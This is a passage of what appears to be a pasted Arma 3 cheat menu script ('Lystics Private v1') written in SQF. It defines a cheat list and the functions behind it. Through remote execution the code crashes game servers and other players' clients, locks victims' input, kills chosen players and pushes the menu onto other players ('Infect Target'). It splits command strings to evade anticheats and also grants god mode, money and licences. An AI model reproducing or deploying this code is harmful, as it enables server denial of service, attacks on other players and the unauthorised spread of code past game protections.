  1451. _morphArray = [
  1452. ["Human","C_man_1"],
  1453. ["Dog 1","Fin_sand_F"],
  1454. ["Dog 2","Fin_blackwhite_F"],
  1455. ["Dog 3","Fin_ocherwhite_F"],
  1456. ["Dog 4","Fin_tricolour_F"],
  1457. ["Dog 5","Alsatian_Sand_F"],
  1458. ["Dog 6","Alsatian_Black_F"],
  1459. ["Dog 7","Alsatian_Sandblack_F"],
  1460. ["Goat 1","Goat_random_F"],
  1461. ["Sheep 1","Sheep_random_F"],
  1462. ["Rabbit 1","Rabbit_F"],
  1463. ["Hen 1","Hen_random_F"],
  1464. ["Cock 1","Cock_random_F"],
  1465. ["Snake 1","Snake_random_F"],
  1466. ["Turtle 1","Turtle_F"]
  1467. ];
  1468. BIS_Menu_GroupCommunication = [["Lystics Private v1",true]];
  1469. {
  1470. _text = _x select 0;
  1471. _obj = _x select 1;
  1472. _arr = [_text,[0],"",-5,[["expression",format["['%1'] spawn S_DoMorph",_obj]]], "1", "1" ];
  1473. BIS_Menu_GroupCommunication set[count(BIS_Menu_GroupCommunication),_arr];
  1474. } forEach _morphArray;
  1475. showCommandingMenu "#User:BIS_Menu_GroupCommunication";
  1476. };
  1477. s_deforest = {
  1478. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1479. if(s_deforest_t) then {hint 'Fuck Trees!\n\n Am-I-Right?';} else {hint 'Deforestation - OFF';};
  1480. while{s_deforest_t} do {
  1481. _allNonClassObjects = (nearestObjects [getposatl player,[],20]) - (nearestObjects [getposatl player,["all"],20]);
  1482. {
  1483. if(damage _x < 1) then {
  1484. _text = str _x;
  1485. _isTree = ["t_",_text] call BIS_fnc_inString;
  1486. _isBush = ["b_",_text] call BIS_fnc_inString;
  1487. _isBushW = ["bw_",_text] call BIS_fnc_inString;
  1488. if(_isTree || _isBushW || _isBush) then {
  1489. _x setDamage 1;
  1490. };
  1491. };
  1492. } forEach _allNonClassObjects;
  1493. };
  1494.  
  1495. };
  1496. s_trollppl = {
  1497. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1498. s_trollfunction = {
  1499. for "_i" from 5 to 100 step 5 do {_grp = createGroup west; unit = _grp createUnit ["B_Soldier_VR_F", _pos, [], 100, "FORM"] ; [unit] join _grp ; unit move _pos ;};
  1500. for "_i" from 5 to 100 step 5 do {_grp = createGroup west; unit = _grp createUnit ["O_Soldier_VR_F", _pos, [], 100, "FORM"] ; [unit] join _grp ; unit move _pos ;};
  1501. for "_i" from 5 to 100 step 5 do {_grp = createGroup west; unit = _grp createUnit ["I_Soldier_VR_F", _pos, [], 100, "FORM"] ; [unit] join _grp ; unit move _pos ;};
  1502. for "_i" from 5 to 100 step 5 do {_grp = createGroup west; unit = _grp createUnit ["C_Soldier_VR_F", _pos, [], 100, "FORM"] ; [unit] join _grp ; unit move _pos ;};
  1503. hint "lel";
  1504. };
  1505. execMapFunc = true;
  1506. mapFunc = "s_trollfunction";
  1507. hint 'open map and click where to place the trollers!';
  1508. };
  1509. s_remextest = {
  1510. [{hint 'RE working!';},player] call fn_Exec;
  1511. };
  1512. s_kamikazi = {
  1513. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1514. kamakazi_lystic = {
  1515. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1516. _code = {
  1517. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1518. call compile ('
  1519. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1520. kamakazi_server = {
  1521. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1522. _number = _this select 0;
  1523. _pos = _this select 1;
  1524. _entity = "I_Plane_Fighter_03_AA_F";
  1525. _obj = _entity create' + 'Vehicle _pos;
  1526. _pos = _obj model' + 'ToWorld [0,0,400];
  1527. for "_i" from 0 to _number do{
  1528. _pos set[0, (_pos select 0)+ (random (50)-25)];
  1529. _pos set[1, (_pos select 1)+ (random (50)-25)];
  1530. _obj = _entity creat' + 'eVehicle [0,0,0];
  1531. _obj setPo' + 's _pos;
  1532. _obj setV' + 'elocity [random(150)-75,random(150)-75,0];
  1533. sleep 0.25;
  1534. };
  1535. };
  1536. ');
  1537. };
  1538. [_code,false] call fn_Exec;
  1539. uisleep 1;
  1540. _code = (' _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};' + str [50,_this] + " spawn kamakazi_server;");
  1541. [_code,false] call fn_Exec;
  1542. hint 'Kamakazi!';
  1543. };
  1544. s_kamikazifunc = {_pos spawn kamakazi_lystic;false};
  1545.  
  1546. execMapFunc = true;
  1547. mapFunc = "s_kamikazifunc";
  1548. };
  1549. s_rocket = {
  1550. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1551. svr_rocket = {
  1552. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1553. _pos = _this;
  1554. _code = {
  1555. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1556. server_createRocket = {
  1557. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1558. _pos = _this;
  1559. _X = _pos select 0;
  1560. _Y = _pos select 1;
  1561. _tH = getTerrainHeightASL [_X,_Y];
  1562. _nH = 0;
  1563. _unit = createAgent ["O_Soldier_F", [_X,_Y,_nH+5], [], 0, "NONE"];
  1564. hideObjectGlobal _unit;
  1565. _ship1 = createVehicle ["Land_Lighthouse_F", [_X,_Y,_nH+5],[],0,"CAN_COLLIDE"];
  1566. _ship1 allowDamage false;
  1567. _ship1 attachTo [_unit,[0,3.25,10]];
  1568. _unit allowDamage false;
  1569. _unit setPosASL [_X,_Y,_tH];
  1570. [_unit,_X,_Y] spawn {
  1571. sleep 2;
  1572. runcode = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName}; {hint "We Have liftoff!";} spawn BIS_fnc_Spawn; };
  1573. publicVariable "runcode";
  1574. skip = 0;
  1575. _X = _this select 1;
  1576. _Y = _this select 2;
  1577. while{true} do {
  1578. (_this select 0) setVelocity [0,0,15];
  1579. if(skip % 3 == 0) then {
  1580. _Z = (getposasl (_this select 0)) select 2;
  1581. (_this select 0) setPosASL [_X,_Y,_Z];
  1582. };
  1583. };
  1584. };
  1585. [_X,_Y,_tH] spawn {
  1586. _X = _this select 0;
  1587. _Y = _this select 1;
  1588. _tH = _this select 2;
  1589. for "_i" from 0 to 1000 do {
  1590. _nH = 0.3*_i + _tH;
  1591. _object = createMine ["APERSMine",[_X,_Y,_nH],[],0];
  1592. _object setPosASL [_X,_Y,_nH];
  1593. _object setvectorup [0,0,1];
  1594. };
  1595. };
  1596. };
  1597. };
  1598. _client = {_fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};"runcode" addPublicVariableEventhandler {[] spawn (_this select 1);};};
  1599. [_client,true] call fn_Exec;
  1600. [_code,false] call fn_Exec;
  1601. sleep 2;
  1602. _code = (' _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};' + (str _pos) + " spawn server_createRocket;");
  1603. [_code,false] call fn_Exec;
  1604. };
  1605. s_rocketfunc = {_pos spawn svr_rocket;false};
  1606.  
  1607. execMapFunc = true;
  1608. mapFunc = "s_rocketfunc";
  1609. };
  1610. s_crashserver = {
  1611. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1612. _Code = format[" _fnc_scriptName = if (isnil ""_fnc_scriptName"") then {""Functions Init""} else {_fnc_scriptName};
  1613. if(isServer) then {
  1614. _pos = [1894,2520,100];
  1615. _col = 179;
  1616. _row = 182;
  1617.  
  1618. _first_notactually = _pos select 0;
  1619. _second_notactually = _pos select 1;
  1620. _third_notactually = _pos select 2;
  1621. _doesnt_do_anything = _pos select 0;
  1622. _setsecond_wat = _pos select 1;
  1623. _why_is_this_here_evn_lol = _pos select 2;
  1624. _pos2_peter = [_first_notactually, _second_notactually, _third_notactually];
  1625.  
  1626.  
  1627. for '_i' from 1 to _col do {
  1628. _second_notactually = _setsecond_wat;
  1629. _pos2_peter = [_first_notactually, _second_notactually, _third_notactually];
  1630. for '_j' from 1 to _row do {
  1631. _pos2_peter = [_first_notactually, _second_notactually, _third_notactually];
  1632. _object = create" + "Vehicle ['B_Heli_Light_01_F', _pos2_peter, [], 0, 'CAN_COLLIDE'];
  1633. _second_notactually = _second_notactually + 5;
  1634. };
  1635. _first_notactually = _first_notactually + 5;
  1636. };
  1637. }"];
  1638. [COMPILE _code,false] call fn_Exec;
  1639. _code = format[" _fnc_scriptName = if (isnil ""_fnc_scriptName"") then {""Functions Init""} else {_fnc_scriptName};
  1640. if(name player != '%1') then {
  1641. while {true} do {
  1642. disableUserInput true;
  1643. };
  1644. } else {
  1645. ['TaskSucceeded',['','Desync In Progress!']] call bis_fnc_showNotification;
  1646. };
  1647. ",name player];
  1648. [COMPILE _code,true] call fn_Exec;
  1649. };
  1650. s_rainbow = {
  1651. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1652. _this = call fn_getSelected;
  1653. _toServer = {
  1654. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1655. Rainbow_Unit = {
  1656. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1657. _target = _this;
  1658. sleep 0.01;
  1659. while{true} do {
  1660. _alive = alive _target;
  1661. if(!_alive) exitwith {};
  1662. _color = format['#(rgb,8,8,3)color(%1,%2,%3,1)',random(1),random(1),random(1)];
  1663. Set_Texture = [_target,[_color,_color,_color,_color,_color]];
  1664. publicVariable "Set_Texture";
  1665. sleep 1;
  1666. };
  1667. };
  1668. };
  1669. _toClients = {
  1670. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1671. "Set_Texture" addPublicVariableEventHandler {
  1672. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1673. _arr = _this select 1;
  1674. _arr spawn BIS_fnc_setObjectTexture;
  1675. };
  1676. };
  1677. [_toServer,false] call fn_Exec;
  1678. [_toClients,true] call fn_Exec;
  1679. _target = _this call fn_GetObject;
  1680. _code = (' _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};' + "_target = objnull; {if(name _x == '"+_this+"') then {_target = _x;};} forEach allUnits; _target spawn Rainbow_Unit;");
  1681. [_code,false] call fn_Exec;
  1682. ['TaskSucceeded',['','The Target Is Now Rainbowy!']] call bis_fnc_showNotification;
  1683. };
  1684. s_kill = {
  1685. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1686. _this = call fn_getSelected;
  1687. _target = _this call fn_GetObject;
  1688. [{ _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};player setDamage 1;},_target] call fn_Exec;
  1689. };
  1690. s_crash = {
  1691. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1692. _this = call fn_getSelected;
  1693. _code = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};[] spawn{startLoadingScreen ['Arma Crashed'];removeAllWeapons player;removeAllItems player;removeBackpack player;0 fadeSound 0;_unit = player;_unit setDamage 1;for '_i' from 0 to 100 do {(findDisplay _i) closeDisplay 0;};};};
  1694. _target = _this call fn_GetObject;
  1695. [_code,_target] call fn_Exec;
  1696. };
  1697. s_nuke = {
  1698. hint "NOT IMPLEMENTED";
  1699. };
  1700. s_infect = {
  1701. _target = (call fn_getSelected) call fn_GetObject;
  1702. [OMFG_MENU,_target] call fn_Exec;
  1703. };
  1704. script_var = {_fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};hint 'This cheat is incomplete';};
  1705. };
  1706. ['LYSTIC CODE'] call {
  1707. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1708. OPEN_LISTS = [];
  1709. CHEAT_LIST = [
  1710. [
  1711. ["God Mode","Disable Damage To Your Player","S_godMode",true,"s_godmode_t"],
  1712. ["No Recoil","Disable Weapon Recoil (detected by most anticheats)","S_NoRecoil",true,"S_NoRecoil_t"],
  1713. ["No Fatigue","Disable Player Fatigue","S_noFatigue",true,"S_noFatigue_t"],
  1714. ["No Fall","Disables Player Fall Damage","S_noFall",true,"S_noFall_t"],
  1715. ["Unlimited Ammo","Never Run Out Of Ammo (Infistar Detected)","S_unlimitedAmmo",true,"S_unlimitedAmmo_t"],
  1716. ["Fast Shoot","Remove Weapon RelEoading Time","s_fastShoot",true,"s_fastShoot_t"],
  1717. ["Invisibility","Makes Your Player Invisible (Remote Exec)","s_invis",true,"s_invis_t"],
  1718. ["SpeedHack","Gives your vehicle a speed boost","s_speedhack",true,"s_speedhack_t"],
  1719. ["Vehicle God","Gives Your Vehicle GodMode","s_vehGod",true,"S_VEHgod_TOGGLE"]
  1720.  
  1721. ],
  1722. [
  1723. ["TP Target Here","Teleport The Selected Player Here","s_tphere",false,""],
  1724. ["TP To Target","Teleport To The Selected Player","s_tpthere",false,""],
  1725. ["Player ESP","Show Player Markers On Screen","s_esp",true,"s_esp_t"],
  1726. ["Lower Terrain","Find those players hiding in the grass","s_lowt",true,"s_lowt_t"],
  1727. ["No Clip","Walk Through Buildings","s_noclip",true,"s_noclip_t"],
  1728. ["Fly Mode","Fly Around Like A God","s_fly",true,"s_fly_t"],
  1729. ["$100,000 Cash","Give Yourself $100k","s_cash100k",false,""],
  1730. ["All Licenses","Give Yourself all Licenses","s_licenses",false,""],
  1731. ["Spectate","Spectate Target Player","s_spectate",false,""]
  1732. ],
  1733. [
  1734. ["Big Bullets","Shoot Explosions!","s_bexplode",true,"s_bexplode_t"],
  1735. ["Animal Bullets","Shoot Random Animals","s_abullets",true,"s_abullets_t"],
  1736. ["Bullet Tracers","Tracers for each shot","s_tbullets",true,"s_tbullets_t"],
  1737. ["Map Drawing","Draw on the map like paper!","s_drawmap",true,"s_drawmap_t"],
  1738. ["Lumber Jack","No one likes trees anyway!","s_deforest",true,"s_deforest_t"],
  1739. ["Defence Squad","Spawn a defense squad!","s_dsquad",false,""],
  1740. ["Spawn Hackbox","Get Any Weapon In The Game!","s_hackbox",false,""],
  1741. ["Morph Menu","(Look at the left side of the screen)","s_morph",false,""],
  1742. ["Troll People","Spawn 100s of VR units!","s_trollppl",false,""]
  1743.  
  1744. ],
  1745. [
  1746. ["Test RE","Test remote execution","s_remextest",false,""],
  1747. ["Kamikaze","Launch a kamikaze attack!","s_kamikazi",false,""],
  1748. ["Rocket","Send a man into space!","s_rocket",false,""],
  1749. ["Crash Server","No Server Can Survive!","s_crashserver",false,""],
  1750. ["Rainbow","Make Target Rainbow!","s_rainbow",false,""],
  1751. ["Kill Target","Kill Target Player","s_kill",false,""],
  1752. ["Crash Target","Crash Targets Game","s_crash",false,""],
  1753. ["Nuke Server","Nuke That Fucking Server!","s_nuke",false,""],
  1754. ["Infect Target","Give a friend this menu!","s_infect",false,""]
  1755. ]
  1756. ];
  1757. //generate toggles
  1758. {
  1759. _arr = _x;
  1760. {
  1761. _isToggle = _x select 3;
  1762. if(_isToggle) then {
  1763. call compile format['_fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};%1 = false;',_x select 4];
  1764. };
  1765. } forEach _arr;
  1766. } forEach CHEAT_LIST;
  1767.  
  1768. with uinamespace do {
  1769. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1770. CTRL_BTN_LIST = [[],[],[],[]];
  1771. };
  1772. fn_preprocess = {
  1773. _string = _this select 0;
  1774.  
  1775. _lines = [_string,toString [13,10]] call BIS_fnc_splitString;
  1776.  
  1777. _code = "";
  1778. _isCommenting = false;
  1779. {
  1780. _line = _x;
  1781. _array = toArray _line;
  1782. _checkType = 0;
  1783. _check = false;
  1784. _string = "";
  1785. _letters = [];
  1786. _removeLastChar = false;
  1787. _exitLine = false;
  1788. _stopRemoveLastChar = false;
  1789. {
  1790. _foundChar = false;
  1791. if(_x == 47) then {
  1792. if(_check) then {
  1793. if(_checkType == 1) then {_isCommenting = false;_removeLastChar = true;};
  1794. if(_checkType == 0 && !_isCommenting) then {_exitLine = true;_removeLastChar = true;};
  1795. _check = false;
  1796. } else {
  1797. _checkType = 0;
  1798. _check = true;
  1799. };
  1800. _foundChar = true;
  1801. };
  1802. if(_x == 42) then {
  1803. if(_check) then {
  1804. _isCommenting = true;
  1805. _check = false;
  1806. _removeLastChar = true;
  1807. } else {
  1808. _checkType = 1;
  1809. _check = true;
  1810. };
  1811. _foundChar = true;
  1812. };
  1813. if(!_foundChar && _check) then {_check = false;};// fix issue with / * this is a comment? WHAT???!1
  1814. if (!_isCommenting && !_exitLine) then {
  1815. _letters = _letters + [_x];
  1816. };
  1817. if(_removeLastChar && !_stopRemoveLastChar) then {
  1818. _temp = [];
  1819. for '_i' from 0 to ((count _letters) - 2) do {
  1820. _temp = _temp + [_letters select _i];
  1821. };
  1822. _letters = _temp;
  1823. _removeLastChar = false;
  1824. };
  1825. if(_exitLine) then {_stopRemoveLastChar = true;};
  1826. } forEach _array;
  1827. _string = toString _letters;
  1828. _code = _code + _string;
  1829. } forEach _lines;
  1830. _code;
  1831. };
  1832. fn_drawTracer = {
  1833. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1834.  
  1835. _shooter = [_this,0,objNull,[objNull]] call BIS_fnc_param;
  1836. _maxLines = [_this,1,10,[10]] call BIS_fnc_param;
  1837. _lineFade = [_this,2,false,[true]] call BIS_fnc_param;
  1838.  
  1839. if (isNil "BIS_tracedShooter") then {BIS_tracedShooter = _shooter};
  1840.  
  1841. if (isNil {_shooter getVariable "BIS_bulletTrace_EHPool"}) then {
  1842. _shooter setVariable ["BIS_bulletTrace_EHPool", []];
  1843. };
  1844.  
  1845. if (_maxLines == 0) then {
  1846. {_shooter removeEventHandler ["Fired", _x]} forEach (_shooter getVariable "BIS_bulletTrace_EHPool");
  1847. _shooter setVariable ["BIS_bulletTrace_EHPool", []];
  1848. if (!isNil {_shooter getVariable "BIS_bulletTrace_EHDraw"}) then {removeMissionEventHandler ["Draw3D", _shooter getVariable "BIS_bulletTrace_EHDraw"]};
  1849. if (!isNil {_shooter getVariable "BIS_lines"}) then {
  1850. {for [{_i = 0}, {_i < count _x}, {_i = _i + 1}] do {_x set [_i, [[]]]}} forEach (_shooter getVariable "BIS_lines");
  1851. _shooter setVariable ["BIS_lines", []];
  1852. }
  1853. } else {
  1854. _shooter setVariable ["BIS_maxLines", _maxLines];
  1855. _shooter setVariable ["BIS_doFade",_lineFade];
  1856. _shooter setVariable ["BIS_lines", []];
  1857. _shooter setVariable ["BIS_lines_fadeOut",[]];
  1858. _shooter setVariable ["BIS_colors_fadeOut",[]];
  1859. _shooter setVariable ["BIS_lines_fade",[]];
  1860. _shooter setVariable ["BIS_colors", []];
  1861. _shooter setVariable ["BIS_flying", 0];
  1862.  
  1863. _EHIndex = _shooter addEventHandler ["Fired", {[_this select 0, position (_this select 6), _this select 6] spawn {
  1864. _shooter = _this select 0;
  1865. _start = _this select 1;
  1866. _round = _this select 2;
  1867.  
  1868. _shooter setVariable ["BIS_flying", (_shooter getVariable "BIS_flying") + 1];
  1869. _startSpeed = (velocity _round) call BIS_fnc_magnitude;
  1870. _shooter setVariable ["BIS_colors", (_shooter getVariable "BIS_colors") + [[]]];
  1871. _shooter setVariable ["BIS_lines", (_shooter getVariable "BIS_lines") + [[]]];
  1872. _i = (count (_shooter getVariable "BIS_lines") - 1);
  1873. ((_shooter getVariable "BIS_colors") select _i) set [0, [1,0,0,1]];
  1874. ((_shooter getVariable "BIS_lines") select _i) set [0, _start];
  1875. if (count (_shooter getVariable "BIS_lines") > (_shooter getVariable "BIS_maxLines")) then {
  1876. if(_shooter getVariable "BIS_doFade") then {
  1877. _index = (count (_shooter getVariable "BIS_lines_fadeOut"));
  1878. _value = (_shooter getVariable "BIS_lines") select ((count (_shooter getVariable "BIS_colors")) - (_shooter getVariable "BIS_maxLines") - 1);
  1879. (_shooter getVariable "BIS_lines_fadeOut") set [_index,_value];
  1880. _value = (_shooter getVariable "BIS_colors") select ((count (_shooter getVariable "BIS_colors")) - (_shooter getVariable "BIS_maxLines") - 1);
  1881. (_shooter getVariable "BIS_colors_fadeOut") set [_index,_value];
  1882. (_shooter getVariable "BIS_lines_fade") set[_index,1];
  1883. };
  1884. (_shooter getVariable "BIS_colors") set [(count (_shooter getVariable "BIS_colors")) - (_shooter getVariable "BIS_maxLines") - 1, []];
  1885. (_shooter getVariable "BIS_lines") set [(count (_shooter getVariable "BIS_lines")) - (_shooter getVariable "BIS_maxLines") - 1, []];
  1886. };
  1887. while {!isNull _round && if (count (_shooter getVariable "BIS_lines") > 0) then {count ((_shooter getVariable "BIS_lines") select _i) > 0} else {FALSE}} do {
  1888. _curSpd = (velocity _round) call BIS_fnc_magnitude;
  1889. if (_curSpd > 0) then {
  1890. _r = 2 - (_startSpeed / _curSpd);
  1891. _b = (_startSpeed / _curSpd) - 1;
  1892. ((_shooter getVariable "BIS_colors") select _i) set [count ((_shooter getVariable "BIS_colors") select _i), [_r,0,_b,1]];
  1893. ((_shooter getVariable "BIS_lines") select _i) set [count ((_shooter getVariable "BIS_lines") select _i), position _round];
  1894. if (_curSpd > 60) then {
  1895. waitUntil {((velocity _round) call BIS_fnc_magnitude) < (_curSpd - (_curSpd / 100))};
  1896. } else {
  1897. sleep 0.1;
  1898. };
  1899. };
  1900.  
  1901. };
  1902. waitUntil {isNull _round || count (_shooter getVariable "BIS_lines") == 0};
  1903. if (count (_shooter getVariable "BIS_lines") > 0) then {
  1904. _shooter setVariable ["BIS_flying", (_shooter getVariable "BIS_flying") - 1];
  1905. if ((_shooter getVariable "BIS_flying") == 0) then {
  1906. _shooter setVariable ["BIS_colors", (_shooter getVariable "BIS_colors") - [[]]];
  1907. _shooter setVariable ["BIS_lines", (_shooter getVariable "BIS_lines") - [[]]];
  1908. };
  1909. };
  1910. }}];
  1911.  
  1912. _shooter setVariable ["BIS_bulletTrace_EHPool", (_shooter getVariable "BIS_bulletTrace_EHPool") + [_EHIndex]];
  1913.  
  1914. _event = addMissionEventHandler ["Draw3D", {
  1915. {
  1916. for [{_i = 1}, {_i < count _x}, {_i = _i + 1}] do {
  1917. drawLine3D [_x select (_i - 1), _x select _i, ((BIS_tracedShooter getVariable "BIS_colors") select _forEachIndex) select (_i - 1)];
  1918. }
  1919. } forEach (BIS_tracedShooter getVariable "BIS_lines");
  1920. _removeIndexs = [];
  1921. {
  1922. _index = _forEachIndex;
  1923. _fade = (BIS_tracedShooter getVariable "BIS_lines_fade") select _index;
  1924. if(_fade > 0) then {
  1925. for [{_i = 1}, {_i < count _x}, {_i = _i + 1}] do {
  1926. _color = ((BIS_tracedShooter getVariable "BIS_colors_fadeOut") select _forEachIndex) select (_i - 1);
  1927. _color set [3,_fade];
  1928. _startPos = _x select (_i - 1);
  1929. _endPos = _x select _i;
  1930. if(count(_startPos) == 3 && count(_endPos) == 3) then {
  1931. drawLine3D [_startPos, _endPos, _color];
  1932. };
  1933. };
  1934. (BIS_tracedShooter getVariable "BIS_lines_fade") set [_index,_fade - 0.02];
  1935. } else {
  1936. _removeIndexs = _removeIndexs + [_index];
  1937. };
  1938. } forEach (BIS_tracedShooter getVariable "BIS_lines_fadeOut");
  1939. {
  1940. (BIS_tracedShooter getVariable "BIS_lines_fadeOut") set [_x,[]];
  1941. (BIS_tracedShooter getVariable "BIS_colors_fadeOut") set [_x,[]];
  1942. (BIS_tracedShooter getVariable "BIS_lines_fade") set [_x,0];
  1943.  
  1944. BIS_tracedShooter setVariable ["BIS_colors_fadeOut", (BIS_tracedShooter getVariable "BIS_colors_fadeOut") - [[]]];
  1945. BIS_tracedShooter setVariable ["BIS_lines_fadeOut", (BIS_tracedShooter getVariable "BIS_lines_fadeOut") - [[]]];
  1946. BIS_tracedShooter setVariable ["BIS_lines_fade", (BIS_tracedShooter getVariable "BIS_lines_fade") - [0]];
  1947. } forEach _removeIndexs;
  1948. }];
  1949.  
  1950. _shooter setVariable ["BIS_bulletTrace_EHDraw", _event];
  1951. };
  1952. };
  1953. fn_getSelected = {
  1954. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1955. disableserialization;
  1956. _ctrl = uinamespace getVariable ["player_list",controlnull];
  1957. if(isNull _ctrl) exitWith {};
  1958.  
  1959. _curSelArr = tvCurSel _ctrl;
  1960. _truepath = [_curSelArr select 0];
  1961. _text = _ctrl tvText _truepath;
  1962. _text;
  1963. };
  1964. fn_getObject = {
  1965. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1966. _name = _this;
  1967. _obj = objNull;
  1968. {
  1969. if(isPlayer _x && name _x == _name) exitWith {
  1970. _obj = _x;
  1971. };
  1972. } forEach allunits;
  1973. _obj;
  1974. };
  1975. fn_execCheat = {
  1976. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1977. _listIndex = _this select 0;
  1978. _cheatNum = _this select 1;
  1979.  
  1980. _cheat = (CHEAT_LIST select _listIndex) select _cheatNum;
  1981. _text = _cheat select 0;
  1982. _tooltip = _cheat select 1;
  1983. _var = _cheat select 2;
  1984. _isToggle = _cheat select 3;
  1985. _toggleVar = _cheat select 4;
  1986.  
  1987. //--- Toggle Button
  1988.  
  1989.  
  1990. if(_isToggle) then {
  1991. disableserialization;
  1992. _toggle = false;
  1993. call compile format["_fnc_scriptName = if (isnil ""_fnc_scriptName"") then {""Functions Init""} else {_fnc_scriptName};%1 = if(%1) then {false} else {true};_toggle = %1;",_toggleVar];
  1994. _color = [1,0,0,1];
  1995. if(_toggle) then {
  1996. _color = [0,1,0,1];
  1997. };
  1998.  
  1999. _ctrls = uinamespace getVariable ["CTRL_BTN_LIST",[[],[],[],[]]];
  2000. _ctrl = (_ctrls select _listIndex) select _cheatNum;
  2001.  
  2002. _ctrl ctrlSetTextColor _color;
  2003. _ctrl ctrlCommit 0;
  2004. };
  2005.  
  2006. call compile format["_fnc_scriptName = if (isnil ""_fnc_scriptName"") then {""Functions Init""} else {_fnc_scriptName};[] spawn %1",_var];
  2007. };
  2008. fn_toggleList = {
  2009. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  2010. disableserialization;
  2011. _index = _this;
  2012.  
  2013. if(_index in OPEN_LISTS) exitWith {
  2014. _btns = uinamespace getVariable ["CTRL_BTN_LIST",[[],[],[],[]]];
  2015. _ctrls = _btns select _index;
  2016. _count = count(_ctrls)-1;
  2017. {
  2018. _curCheat = (CHEAT_LIST select _index) select _forEachIndex;
  2019. if(!isNull _x) then {
  2020. [_x,_forEachIndex,_count,_curCheat] spawn {
  2021. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  2022. disableserialization;
  2023. _ctrl = _this select 0;
  2024. _count = _this select 2;
  2025. _curCheat = _this select 3;
  2026. _delay = (_count-(_this select 1))/20;
  2027. uiSleep _delay;
  2028. _isToggle = _curCheat select 3;
  2029. _toggleVar = _curCheat select 4;
  2030.  
  2031. _color = [1,1,1,0];
  2032. if(_isToggle) then {
  2033. _color = [1,0,0,0];
  2034. _toggle = false;
  2035. call compile format["_toggle = %1;",_toggleVar];
  2036. if(_toggle) then {_color = [0,1,0,0];};
  2037. };
  2038. _r = _color select 0;
  2039. _g = _color select 0;
  2040. _b = _color select 0;
  2041.  
  2042. for "_i" from 7 to 0 step -1 do {
  2043. _fade = 0.05 * _i;
  2044. _fadeText = (1/8) * _i;
  2045. _ctrl ctrlSetBackgroundColor [0,0,0,_fade];
  2046. _ctrl ctrlSetTextColor [_r,_g,_b,_fadeText];
  2047. uiSleep (1/160);
  2048. };
  2049. ctrlDelete _ctrl;
  2050. };
  2051. };
  2052. } forEach _ctrls;
  2053. _btns set[_index,[]];
  2054. uinamespace setvariable ["CTRL_BTN_LIST",_btns];
  2055. OPEN_LISTS = OPEN_LISTS - [_index];
  2056. };
  2057. _display = (call get_display);
  2058. if(isNull _display) exitWith {};
  2059.  
  2060. OPEN_LISTS set[count(OPEN_LISTS),_index];
  2061.  
  2062. _ctrlList = [];
  2063. _pos = ctrlPosition (uinamespace getVariable [format["CTRL_BTN_LVL%1",_index+1],controlNull]);
  2064. _xPos = _pos select 0;
  2065. _y = YposTitle + 0.02;
  2066. _w = _pos select 2;
  2067. _h = heightS;
  2068. _array = CHEAT_LIST select _index;
  2069.  
  2070. {
  2071. _y = _y + _h;
  2072. _text = _x select 0;
  2073. _toolTip = _x select 1;
  2074. _func = _x select 2;
  2075. _isToggle = _x select 3;
  2076. _toggleVar = _x select 4;
  2077.  
  2078. _color = [1,1,1,0];
  2079. if(_isToggle) then {
  2080. _color = [1,0,0,0];
  2081. _toggle = false;
